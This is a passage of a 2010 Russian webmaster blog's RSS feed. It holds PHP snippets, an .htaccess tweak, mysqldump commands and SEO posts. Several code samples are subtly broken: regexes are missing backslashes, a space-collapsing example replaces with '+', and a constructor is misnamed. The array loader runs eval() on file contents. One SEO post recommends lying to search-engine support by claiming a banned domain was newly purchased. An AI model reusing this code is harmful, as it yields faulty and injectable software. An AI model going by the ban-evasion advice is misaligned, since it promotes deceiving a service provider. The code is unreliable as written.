$var = $new = $prefix.rand().$suffix;<br />
$vname = FALSE;<br />
foreach($vals as $key =&gt; $val) {<br />
if($val === $new) $vname = $key;<br />
}<br />
$var = $old;<br />
return $vname;<br />
}</p>
<p>Как использовать?</p>
<div id="_mcePaste">1.  Используем для определения имени переменной в  глобальной зоне видимости:</div>
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">$my_global_variable = &#171;My global string.&#187;;</div>
<div id="_mcePaste">echo vname($my_global_variable);</div>
<div>// вернет:  my_global_variable</div>
<div id="_mcePaste">?&gt;</div>
<div id="_mcePaste">2.  Определяем имя перeменной локальной:</div>
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">function my_local_func()</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$my_local_variable = &#171;My local string.&#187;;</div>
<div id="_mcePaste">return vname($my_local_variable, get_defined_vars());</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">echo my_local_func();</div>
<div>// вернет: my_local_variable</div>
<div id="_mcePaste">?&gt;</div>
<div id="_mcePaste">3.  Определяем имя свойства объекта:</div>
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">class myclass</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">public function __constructor()</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$this-&gt;my_object_property = &#171;My object property  string.&#187;;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">$obj = new myclass;</div>
<div id="_mcePaste">echo vname($obj-&gt;my_object_property, $obj);</div>
<div>// вернет: my_object_property</div>
<div id="_mcePaste">?&gt;</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/22/kak-uznatpoluchit-imya-peremennoj/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Убрать IE image toolbar через .htaccess</title>
		<link>http://saintist.ru/2010/04/20/ubrat-ie-image-toolbar-cherez-htaccess/</link>
		<comments>http://saintist.ru/2010/04/20/ubrat-ie-image-toolbar-cherez-htaccess/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 10:34:07 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1085</guid>
		<description><![CDATA[Ибираем IE image toolbar через .htaccess Добавляем в .htaccess строки Header set imagetoolbar &#171;no&#187;]]></description>
			<content:encoded><![CDATA[<p>Ибираем IE image toolbar через .htaccess<br />
<span id="more-1085"></span></p>
<p>Добавляем в .htaccess строки</p>
<p><strong><filesmatch><br />
Header set imagetoolbar &#171;no&#187;<br />
</filesmatch></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/20/ubrat-ie-image-toolbar-cherez-htaccess/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Способ определить что текст в кодировке utf-8</title>
		<link>http://saintist.ru/2010/04/20/opredelenie-chto-tekst-v-kodirovke-utf-8/</link>
		<comments>http://saintist.ru/2010/04/20/opredelenie-chto-tekst-v-kodirovke-utf-8/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 10:25:03 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[utf-8]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1081</guid>
		<description><![CDATA[Способов и методов определения utf-8 с разной степенью точности довольно много, вот еще один простой и компактный. $utf8 = (preg_match(&#171;/^([\x09\x0A\x0D\x20-\x7E]&#124;[\xC2-\xDF][\x80-\xBF]&#124;\xE0[\xA0-\xBF][\x80-\xBF]&#124;[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}&#124;\xED[\x80-\x9F][\x80-\xBF]&#124;\xF0[\x90-\xBF][\x80-\xBF]{2}&#124;[\xF1-\xF3][\x80-\xBF]{3}&#124;\xF4[\x80-\x8F][\x80-\xBF]{2})*$/&#187;, $str)) ? true : false;]]></description>
			<content:encoded><![CDATA[<p>Способов и методов определения utf-8 с разной степенью точности   довольно много, вот еще один простой и компактный.<br />
<span id="more-1081"></span><br />
<strong>$utf8 = (preg_match(&#171;/^([\x09\x0A\x0D\x20-\x7E]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})*$/&#187;, $str)) ? true : false;</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/20/opredelenie-chto-tekst-v-kodirovke-utf-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Выгрузить загрузить SQL Dump</title>
		<link>http://saintist.ru/2010/04/07/vygruzit-zagruzit-sql-dump/</link>
		<comments>http://saintist.ru/2010/04/07/vygruzit-zagruzit-sql-dump/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 17:27:53 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1078</guid>
		<description><![CDATA[Для себя напоминалку команд как загрузить выгрузить дамп sql Выгружаем SQL базу в файл: mysqldump имябазыданных -u user_name_db -ppassword_db -h IP (или localhost) &#62; db_name.sql Загружаем SQL базу из файла: mysql имябазыданных -u user_name_db -ppassword_db &#60; db_name.sql]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2010/04/sql_dump.jpg"><img class="size-medium wp-image-1079 aligncenter" title="sql_dump" src="http://saintist.ru/wp-content/uploads/2010/04/sql_dump-300x178.jpg" alt="" width="300" height="178" /></a></p>
<p>Для себя напоминалку команд  как загрузить выгрузить  дамп sql<br />
<span id="more-1078"></span></p>
<p>Выгружаем SQL базу в файл:</p>
<p><strong>mysqldump имябазыданных -u user_name_db -ppassword_db -h IP (или localhost)  &gt; db_name.sql</strong></p>
<p>Загружаем SQL  базу из файла:</p>
<p><strong>mysql имябазыданных -u user_name_db -ppassword_db &lt; db_name.sql</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/07/vygruzit-zagruzit-sql-dump/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Сохранить массив в файл</title>
		<link>http://saintist.ru/2010/04/06/soxranit-massiv-v-fajl/</link>
		<comments>http://saintist.ru/2010/04/06/soxranit-massiv-v-fajl/#comments</comments>
		<pubDate>Mon, 05 Apr 2010 20:24:58 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[array]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[load_array]]></category>
		<category><![CDATA[save_array]]></category>
		<category><![CDATA[Массив в файл]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1075</guid>
		<description><![CDATA[Часто бывает необходимо сохранить  значение массива куда-нибудь, чтоб потом можно  было его использовать и желательно без использования SQL , Сессий, Кук и т.п. Оптимальный вариант сохранить  массив в файл, в любой момент можно считать и использовать, через любой промежуток времени. Изобретать велосипед не стоит все и так  довольно просто. Сохраняем массив в файл function save_array($filename, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1076 aligncenter" title="как сохранить массив" src="http://saintist.ru/wp-content/uploads/2010/04/save_array.jpg" alt="как сохранить массив" width="180" height="180" /></p>
<p>Часто бывает необходимо сохранить  значение массива куда-нибудь, чтоб потом можно  было его использовать и желательно без использования SQL , Сессий, Кук и т.п. Оптимальный вариант сохранить  массив в файл, в любой момент можно считать и использовать, через любой промежуток времени.</p>
<p>Изобретать велосипед не стоит все и так  довольно просто.<br />
<span id="more-1075"></span></p>
<div id="_mcePaste"><strong>Сохраняем массив в файл</strong></div>
<div></div>
<div>function save_array($filename, $array) {</div>
<div id="_mcePaste">$dump = addslashes(gzcompress(var_export($array,true),9));</div>
<div id="_mcePaste">$fp = fopen($filename, &#171;wb+&#187;);</div>
<div id="_mcePaste">fwrite($fp, $dump);</div>
<div id="_mcePaste">fclose($fp);</div>
<div id="_mcePaste">}</div>
<div></div>
<div id="_mcePaste"><strong>Загружаем м<span style="font-weight: normal;"><strong>ассив  из  файла</strong></span></strong></div>
<div><strong><br />
</strong></div>
<div>function load_array($filename) {</div>
<div id="_mcePaste">$fp = fopen($filename,&#187;r&#187;);</div>
<div id="_mcePaste">$content = fread($fp,filesize($filename));</div>
<div id="_mcePaste">fclose($fp);</div>
<div id="_mcePaste">eval(&#8216;$array=&#8217;.gzuncompress(stripslashes($content)).&#8217;;');</div>
<div id="_mcePaste">return($array);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste"></div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/06/soxranit-massiv-v-fajl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Получение первой картинки из поста в WordPress</title>
		<link>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/</link>
		<comments>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/#comments</comments>
		<pubDate>Sat, 03 Apr 2010 20:13:41 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1066</guid>
		<description><![CDATA[Столкнулся с задачей при сборке очередного скина для wordpress. Необходимо было выводить первую картинку из поста в списке постов отдельно от текста поста. Для реализации этого функционала необходимо добавить в файл темы functions.php кусок кода function post_first_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/&#60;img.+src=[\'"]([^\'"]+)[\'"].*&#62;/i', $post-&#62;post_content, $matches); $first_img = $matches [1] [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="wordpress category id" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Столкнулся с задачей при сборке очередного  скина для wordpress. Необходимо было выводить первую картинку из поста в списке  постов отдельно от текста поста.</p>
<p>Для реализации этого функционала необходимо добавить в файл темы functions.php кусок кода<span id="more-1066"></span></p>
<pre>function post_first_image() {
  global $post, $posts;
  $first_img = '';
  ob_start();
  ob_end_clean();
  $output = preg_match_all('/&lt;img.+src=[\'"]([^\'"]+)[\'"].*&gt;/i',
$post-&gt;post_content, $matches);
  $first_img = $matches [1] [0];

  if(empty($first_img)){</pre>
<pre>//-- если нет картинок добавляем  путь</pre>
<pre>на изображение по умолчанию</pre>
<pre>    $first_img = "/images/default.jpg";
  }
  return $first_img;
}</pre>
<p>а в шаблоне где необходимо  вы водить картинку добавить post_first_image()</p>
<p><strong>Уточню.</strong></p>
<p>Функция  post_first_image() возвращает путь к первому изображению в текущем посте, т.е. ее необходимо добавлять в виде  &lt;img src=&#187;&lt;? post_first_image();?&gt;&#187; &gt;</p>
<p><strong>А также</strong></p>
<p>В версию WordPress 2.9 добавлена функция <strong>post_thumbnail</strong></p>
<p>Для активации в functions.php добавляем код</p>
<div id="_mcePaste">if ( function_exists( &#8216;add_theme_support&#8217; ) ){</div>
<div id="_mcePaste">add_theme_support( &#8216;post-thumbnails&#8217;);</div>
<div>//&#8212; задаем  по умолчанию размер превью</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">set_post_thumbnail_size( 50, 50, true ); </span></div>
<div>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;"> </span></span></p>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">//&#8212; задаем размер превью картинки для показа на странице поста</span></div>
</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">add_image_size( &#8216;single-post-thumbnail&#8217;, 400, 9999 ); </span></div>
<div>}</div>
<div>
<div>//&#8212; включаем поддержку превъю только для  постов</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">add_theme_support( &#8216;post-thumbnails&#8217;, array( &#8216;post&#8217; ) ); </span></div>
<div style="text-align: left;"><span style="font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: small;"><span style="border-collapse: collapse; line-height: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><span style="border-collapse: separate; font-family: 'Times New Roman'; line-height: normal; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; font-size: small;"></p>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">//-- включаем поддержку превъю только для  страниц</span></pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace;">add_theme_support( 'post-thumbnails', array( 'page' ) );</pre>
<p></span></span></span></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SEO раскрутка сайта картинками</title>
		<link>http://saintist.ru/2010/03/30/seo-raskrutka-sajta-kartinkami/</link>
		<comments>http://saintist.ru/2010/03/30/seo-raskrutka-sajta-kartinkami/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 12:40:37 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1060</guid>
		<description><![CDATA[Заметил на одном сайте занятную вещь, владелец его раскручивает с помощью картинок, своеобразными методами. Сайт о манимейкерах (да такое я тоже периодически почитываю довольно занятно пишут). Так вот картинки у него не совсем соответствуют тематике сайта, у него SEO партнерки и т.п. шелуха, а на картинках рыбки, цветочки, зверьки и в том же духе. Все [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2010/03/image-seo-promotion-battlecity.jpg"><img class="size-medium wp-image-1061 aligncenter" title="Флеш  игры для мальчиков, танчики стрелялки онлайн" src="http://saintist.ru/wp-content/uploads/2010/03/image-seo-promotion-battlecity-300x262.jpg" alt="Флеш  игры для мальчиков, танчики стрелялки онлайн" width="300" height="262" /></a></p>
<p>Заметил  на одном сайте занятную вещь, владелец его раскручивает  с помощью  картинок, своеобразными методами. Сайт о манимейкерах (да такое я тоже периодически почитываю <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  довольно занятно пишут). Так вот картинки у него не совсем соответствуют тематике сайта, у него SEO  партнерки и т.п. шелуха,  а на картинках рыбки, цветочки, зверьки и в том же духе. Все красочно и откоректированно.  Из этого я сделал вывод что он привлекает себе трафик (не целевой <img src='http://saintist.ru/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ,  да что нам стоит  привлечь такими методами целевой трафик <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) при помощи картинок.</p>
<p>Итак что нужно учесть при <strong>SEO  раскрутке сайта картинками</strong>.<br />
<span id="more-1060"></span></p>
<p>1. Обязательно используйте тег alt. По нему ищутся картинки. Соответственно  в нем должен присутствовать клучевик.</p>
<p>2. Обязательно наличие тега title индентичного тэгу alt для вашей картинки. </p>
<p>3. Картинки должны быть уникальны. Автор картинки должен   обязательно использовать ватермарки.</p>
<p>4. Изображение должно быть качественным, чтобы было желание кликнуть по нему и посмотреть что дальше, делаем обязательно автокоррекцию тона, цвета и контраста.</p>
<p>5.Отказываемся от анимированных картинок, 99% их примут за баннер или часть дизайна.</p>
<p>6. Текст около картинки должен  включать ключевики,  рядом с картинкой их должно быть больше, чем в остальном тексте.</p>
<p>7.Имя файла картинки тоже важно в том числе с учетом транслитерации и упрощенного подстрочного перевода.</p>
<p>8. Важен формат, Например Яндекс  картинки в формате jpg и png воспринимает как фотои, а gif &#8212; картинки не попадающие в категорию фото или что-то другое.</p>
<p>9.Если сайт предлагает услуги или товары, то присутствие на картинке контактов или цену будет великолепным SEO ходом. </p>
<p>10. Не стоит зацикливаться только на продвижении изображениями, раскручивайте и оптимизируйте саму страницу. Изображения и страница друг друга должны дополнять</p>
<p>11. Для лучшей  индексации (картинки индексируются хуже, чем текст) не стоит использовать поп-ап и ява-скрипты. </p>
<p>12. Размеры картинок на странице должны быть разными. Например размещать  превью с маленькими размерами пр клике на которое открывается большое изображение.<br />
( Тег у картинки  longdesc, указывающий на большую картинку отличное решение ).</p>
<p>13.Тэги width и height  облегчают поисковикам задачу определения размера картинки. Важны также объем (Метраж) и палитра  картинки. Чем больше информации тем выше картинка в выдаче.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/30/seo-raskrutka-sajta-kartinkami/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Вывести домен (сайт) из бана</title>
		<link>http://saintist.ru/2010/03/30/vyvesti-domen-sajt-iz-bana/</link>
		<comments>http://saintist.ru/2010/03/30/vyvesti-domen-sajt-iz-bana/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 12:19:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1057</guid>
		<description><![CDATA[Что такое попадание домена в бан писать не буду, итак достаточно информации. Основные приемы вывода домена из бана. Можно использовать как определенное приемы так и все вместе &#8212; решать вам. Все сжато и кратко Первый прием вывода домена из бана для сайта с автоматически генерируемым контентом. Автоматически генерируемый (легкий рерайт) контент как бы он не [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1058 aligncenter" title="как вывести домен из бана" src="http://saintist.ru/wp-content/uploads/2010/03/banned-domain-300x300.jpg" alt="как вывести домен из бана" width="300" height="300" /></p>
<p>Что такое попадание домена в бан писать не буду, итак достаточно информации. Основные приемы вывода домена из бана. Можно использовать как определенное приемы так и все  вместе &#8212; решать вам. Все сжато и кратко<br />
<span id="more-1057"></span></p>
<p><strong>Первый прием вывода домена из бана для сайта с автоматически генерируемым контентом</strong>.<br />
Автоматически генерируемый (легкий рерайт) контент как бы он не генерировался редко бывает уникален, по этой причине домен уплывает в бан.<br />
Лекарство вот какой, закрыть страницы кроме главной от поисковиков , главную страницу желательно поуникальнее , примерно через полтора месяца есть вероятность что выведут  из бана и можно будет снова разрежить индексацию остальных страниц.</p>
<p><strong>Решение для белых проектов которые тоже часто попадают в бан</strong> (часто по ошибке). Если все честно и правильно  с вашим проектом, т.е. он чист то стоит написать Платону с просьбой указать причины бана, обязательно упомяните что   ознакомились с лицензией, правилами и уверены, в том что не нарушаете их. Если вам озвичили причины бана , то устраняете их, добавите уникального контента и  обновляйтесь как можно чаще. Через недельки две три опять письмо Платону и появляется большая вероятность в возврате домена в выдачу.</p>
<p><strong>Копипаст и сплоги попавшие в бан тоже можно вывести из бана поисковиков</strong>тут же писать Платону при обнаружении факта бана не стоит. Заменяем  сайт на другой с  уникальным наполнением, можно сделать  саттелит из десятка страниц для людей.  Прикупить несколько ссылок на него на биржах и чуть позже тоже можно написать Платону. Честно опишите ситуацию (покайтесь <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )  и упомяните что сайт теперь не нарушает их лицензии и вообще все ок.</p>
<p><strong>Перезагрузка  SEO</strong>. Полностью запрещаем индексацию (возвращаем 404 <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), ждем 6-7 апдейтов. Может и разбанят.</p>
<p><strong>Финт с whois домена</strong>. Стоит поменять whois домена, написать Платону по какой-либо причине и  между делом рассказать о том, что купили домен, а он забанен. Там сравнивают whois старый и новый, после этого снимают фильтры и бан.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/30/vyvesti-domen-sajt-iz-bana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weblancer.net что нового</title>
		<link>http://saintist.ru/2010/03/27/weblancer-net-chto-novogo/</link>
		<comments>http://saintist.ru/2010/03/27/weblancer-net-chto-novogo/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 22:30:44 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[freelance]]></category>
		<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1053</guid>
		<description><![CDATA[Зашел после довольно длительного перерыва (занят был проектами) на weblancer. И заметил довольно много новшеств на ресурсе, которые меня не удивили, все шло к тому. Заметил тенденцию к этому на многих ресурсах. С февраля 2010 года, известная фриланс-биржа Weblancer.net ввела ряд изменений в свою работу.Сервис стал платным для фрилансеров. Ввели три основных тарифных плана и [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1054 aligncenter" title="logoweblance" src="http://saintist.ru/wp-content/uploads/2010/03/logoweblance.png" alt="" width="250" height="59" /></p>
<p>Зашел после довольно длительного перерыва (занят был проектами) на weblancer. И заметил довольно много новшеств на ресурсе, которые меня  не удивили, все шло к тому. Заметил тенденцию к этому на многих ресурсах.<br />
<span id="more-1053"></span><br />
С февраля 2010 года, известная  фриланс-биржа Weblancer.net ввела ряд изменений в свою работу.Сервис стал платным для фрилансеров.<br />
Ввели  три основных тарифных плана и один бесплатный ознакомительный,. Для заказчиков. все  по-прежнему бесплатно.</p>
<p>Базовый (5$ в месяц , комиссия  10% от стоимости проекта), Оптимальный (10$ в месяц, комиссия  5% от стоимости проекта (платить комисию смысла не вижу фрилансеры с Начальным тарифом не светятся в каталоге, и рейтинг виден только проекте)) .</p>
<p>Для тех кто в ТОПе новшества  побоку, они и так в топе и ежемесячная подачка сервису не делает дыры в кармане, так как заказы постоянны и заработок есть.  А вот тем кто сервис использует как возможность изредка подзаработать, новшества  возможно и не понравятся (за то что было  бесплатно как-то не хочется платить).</p>
<p>На главной странице появилось что-то вроде &#171;карусели&#187; с  free-lance.ru, платишь и получаешь рекламу себя.</p>
<p>Тенденция  по уменьшению  количества  заявок на проекты уже начала прослеживаться (как и на free-lance.ru), ну да посмотрим все впереди.</p>
<p>можно <a href="http://saintist.ru/2009/05/26/o-birzhax-frilansa/">начинать делать свою биржу фриланса</a> ))</p>
<p>ps:Я с него (Вебланса) ушел, до введения новшеств было комфортнее работать чем на free-lance.ru? просто удобнее интерфейс  ротации проектов (остальная часть интерфейса треш), а сейчас сервис  стал таким же барыжным задротом как и free-lance.ru, пошли по той же дорожке ))<br />
как было сказано выше это  скажется на количестве проектов и активных работодателей, так как думаю отпугнет основную массу фрилансеров. Слишком много ограничений для фрилансеров. А фрилансеры сами знаете, название само говорит, свободный народ.</p>
<p>pps: желание заработать владельцев сервисов  хорошее желание кто же спорит.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/27/weblancer-net-chto-novogo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Полезные регулярные выражения которые могут пригодиться</title>
		<link>http://saintist.ru/2010/03/25/poleznye-regulyarnye-vyrazheniya-kotorye-mogut-prigoditsya/</link>
		<comments>http://saintist.ru/2010/03/25/poleznye-regulyarnye-vyrazheniya-kotorye-mogut-prigoditsya/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 19:41:39 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[pegexp]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1048</guid>
		<description><![CDATA[Регулярные выражения мощный инструмент разработки. При первом знакомстве создается  впечатление что  с регулярными выражениями работать непросто и все довольно запутанно,  но перейдем к основам. Основы синтаксиса регулярных выражений Регулярное выражение Означает text Строка “text” ^text Строка начинается с “text” text$ Строка заканчивается на “text” ^text$ «text» встречается в строке только один раз [abc] a, b, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1049 aligncenter" title="основы регулярных выражений" src="http://saintist.ru/wp-content/uploads/2010/03/regex_tee_opt.jpg" alt="" width="440" height="298" /></p>
<p>Регулярные выражения мощный инструмент разработки. При первом знакомстве создается  впечатление что  с регулярными выражениями работать непросто и все довольно запутанно,  но перейдем к основам.<br />
<span id="more-1048"></span><br />
<strong>Основы синтаксиса регулярных выражений</strong></p>
<table border="1" cellspacing="0" cellpadding="2" width="250">
<tbody>
<tr>
<td width="249" valign="top"><strong>Регулярное выражение</strong></td>
<td width="347" valign="top"><strong>Означает</strong></td>
</tr>
<tr>
<td width="249" valign="top">text</td>
<td width="347" valign="top">Строка “text”</td>
</tr>
<tr>
<td width="249" valign="top">^text</td>
<td width="347" valign="top">Строка начинается с “text”</td>
</tr>
<tr>
<td width="249" valign="top">text$</td>
<td width="347" valign="top">Строка заканчивается на “text”</td>
</tr>
<tr>
<td width="249" valign="top">^text$</td>
<td width="347" valign="top">«text» встречается в строке только один раз</td>
</tr>
<tr>
<td width="249" valign="top">[abc]</td>
<td width="347" valign="top">a, b, или c</td>
</tr>
<tr>
<td width="249" valign="top">[a-z]</td>
<td width="347" valign="top">любой символ (латиница) в нижнем регистре</td>
</tr>
<tr>
<td width="249" valign="top">[^A-Z]</td>
<td width="347" valign="top">любой символ (латиница), не находящийся в верхнем регистре</td>
</tr>
<tr>
<td width="249" valign="top">(gif|jpg)</td>
<td width="347" valign="top">Означает как «gif” так и “jpeg”</td>
</tr>
<tr>
<td width="249" valign="top">[a-z]+</td>
<td width="347" valign="top">Один или более символов нижнего регистра</td>
</tr>
<tr>
<td width="249" valign="top">[0-9.-]</td>
<td width="347" valign="top">Любая цифра, точка или знак минус</td>
</tr>
<tr>
<td width="249" valign="top">^[a-zA-Z0-9_]{1,}$</td>
<td width="347" valign="top">Любое слово, хотя бы одна буква, число или _</td>
</tr>
<tr>
<td width="249" valign="top">([wx])([yz])</td>
<td width="347" valign="top">wy, wz, xy, или xz</td>
</tr>
<tr>
<td width="249" valign="top">(^A-Za-z0-9)</td>
<td width="347" valign="top">Любой символ (не число и не буква)</td>
</tr>
<tr>
<td width="249" valign="top">([A-Z]{8}|[0-9]{6})</td>
<td width="347" valign="top">Означает восемь букв или 6  цифр</td>
</tr>
</tbody>
</table>
<p><strong>Функции php для работы с регулярными выражениями</strong></p>
<table border="1" cellspacing="0" cellpadding="2" width="350">
<tbody>
<tr>
<td width="130" valign="top"><strong>Функция</strong></td>
<td width="468" valign="top"><strong>Описание</strong></td>
</tr>
<tr>
<td width="130" valign="top">preg_match()</td>
<td width="468" valign="top">Функция preg_match() ищет строку по заданному шаблону, возвращает true, если строка находится и false, в остальных случаях</td>
</tr>
<tr>
<td width="130" valign="top">preg_match_all()</td>
<td width="468" valign="top">Функция preg_match_all() находит все вхождения строки, заданной по шаблону</td>
</tr>
<tr>
<td width="130" valign="top">preg_replace()</td>
<td width="468" valign="top">Функция preg_replace(), действует по тому же принципу, что и ereg_replace(), за исключением того, что регулярные выражения можно использовать как для задания шаблона поиска, так и для строки, на которую следует заменить, найденное значение.</td>
</tr>
<tr>
<td width="130" valign="top">preg_split()</td>
<td width="468" valign="top">Функция preg_split(), действует так же как split(), за исключением того, что регулярное выражение можно использовать в качестве параметра для шаблона поиска.</td>
</tr>
<tr>
<td width="130" valign="top">preg_grep()</td>
<td width="468" valign="top">Функция preg_grep() ищет все элементы входного массива, возвращая все элементы, соответствующие шаблону регулярного выражения.</td>
</tr>
<tr>
<td width="130" valign="top">preg_quote()</td>
<td width="468" valign="top">Экранирует символы регулярного выражения</td>
</tr>
</tbody>
</table>
<p><strong>Полезные  регулярные выражения</strong></p>
<p><strong>Проверка правильности домена регулярным выражением</strong></p>
<div id="_mcePaste">$url = &#171;http://sampledomain.com/&#187;;</div>
<div id="_mcePaste">if (preg_match(&#8216;/^(http|https|ftp)://([A-Z0-9][A-Z0-9_-]*(?:.[A-Z0-9][A-Z0-9_-]*)+):?(d+)?/?/i&#8217;, $url)) {</div>
<div id="_mcePaste">echo &#171;Your url is ok.&#187;;</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">echo &#171;Wrong url.&#187;;</div>
<div id="_mcePaste">}</div>
<p><strong>Подсвечиваем слово в тексте</strong><br />
$text = &#171;Sample  word&#187;;</p>
<p>$text = preg_replace(&#171;/b(regex)b/i&#187;, &#8216;&lt;span style=&#187;background:red&#187;&gt;1&lt;/span&gt;&#8217;, $text);</p>
<p>echo $text;</p>
<p><strong>Заменить  два  пробела одним</strong></p>
<p>$str = preg_replace(‘/ +/’, ‘+’, $str);</p>
<p><span style="font-family: 'Courier New', Courier, monospace; color: #0000ff; font-size: small;"><span style="line-height: 18px;"><br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/25/poleznye-regulyarnye-vyrazheniya-kotorye-mogut-prigoditsya/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
